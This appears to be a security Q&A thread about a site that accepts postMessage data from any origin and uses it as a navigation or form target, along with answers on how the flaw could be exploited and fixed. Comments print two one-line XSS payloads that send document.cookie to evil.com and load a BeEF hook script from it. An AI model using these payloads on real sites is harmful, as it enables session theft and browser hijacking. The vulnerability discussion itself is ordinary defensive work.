6

How exploitable is a site listening to browser messages from anyone?

I am working on a site where I have found some iframe issues. The case is that site A has an iframe of site B, and site A listens to 'messages' from anywhere and then it can perform two different actions when a message comes in:

  • Set document.location = "incoming message data"
  • Create a form, and set the action attribute value to "incoming message data", add it to the DOM and then submit the form.

This means i can set up site Evil, include an iframe of site A, and then start sending arbitrary messages, for example "javascript:alert(1)" which will in both of the above cases execute the javascript in the iframe context. Before I report this to the people I work for, I need to have a scenario in which this would be a major issue. And this is where it gets tricky, because I cannot really come up with a scenario where this would be a significant issue. The ideas I have are:

  • I can execute javascript in the context of site A, but I cannot get cookies due to SoP.
  • I could set up a key listener on site Evil and make site A iframe fill the screen asking for a login, in that way harvesting logins for site A. This would require some social engineering to work properly.

But this is the best I can come up with, so my question is, have I completely overlooked something? Googling around doesn't yield any other options.

EDIT:

Obviously this opens site A (whom I work for) up for XSS through site B (who is a semi known company, but still). Another point I am thinking about making is why on earth would anyone do ANYTHING this way? Create a form and submit and answer with some received data? I can't figure out a good reason to do it like this, maybe any of you good people can?

EDIT2:

It seems there is no way to bypass Same Origin Policy even though I can execute arbitrary javascript in the context of Site A through the iframe located on Site Evil. So there is nothing about this 'vulnerability' that makes it any different from an attacker to get a user to click on an arbitrary link.

Improve this question

2 Answers 2

Reset to default
2

You could definitely hijack the session by getting cookies, if you can execute the Javascript in that page/frame by sending the message.

Refer : How to send cross domain post request via javascript

The minimal requirement here is, you'll need a server which you control. So that you can configure the Access-Control-Allow-Origin header of the response generated for your AJAX Request.

Improve this answer
10
  • I don't see how that would be possible. You are suggesting to abuse the CORS api, however, in order for that to work I would need to control the server that serves the embedded iframe that I'm trying to perform a session hijacking on, in order to set the Access-Control-Allow-Origin header. But the whole point of this is that I don't control that server, I only have the ability to embed the site in an iframe, and perform arbitrary XSS. Am I missing something?
    – sboutzen
    Jul 15, 2016 at 19:09
  • For CORS, you need to control the server that is going to receive the data you're going to send via AJAX. Hence, If you can execute JavaScript in embedded iframe, then just grab the cookies and send it to your server.
    – Deepak Chaudhary
    Jul 16, 2016 at 3:59
  • 1
    javascript:document.location="http://evil.com/?"+document.cookie
    – Erlend
    Jul 17, 2016 at 14:59
  • javascript:document.innerHTML+="<script src=//evil.com/beefhook.js></script>"
    – Erlend
    Jul 17, 2016 at 15:00
  • @Erlend That was my thought too, and I can do that, but the cookie of domain A is not available. I can only get the cookie of domain Evil where I have domain A as an iframe. I have also tried to use the CORS abusing as Deepak suggested, but as I thought, it doesn't work, because the scripts you are ACAO'ing are your own.
    – sboutzen
    Jul 20, 2016 at 20:45
2

I won't give the "how-to" (exploit), but:

  • You may retrieve cookies (as said in comments, but only non-HTTP-only ones).
  • You may bypass all CSRF protections (like if they're based on Referer/Origin HTTP headers).
  • You may show a popup asking user to relog-in (and so steal their password).
  • You may download any arbitrary file (including .exe), and user will certainly trust it since it comes from trusted website.
  • You may kill the company's reputation by including a shocking image or whatever.
  • You may embed a malware/virus in the URI (do a simple exploit with a base64ed EICAR string inside a data uri)

Do as suggested to fix this: accept only trusted incoming domains, and validate the data before putting them in the form and such (you do not require the full URI in the message's data, unless you really want to submit form to any domain and any protocol).

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .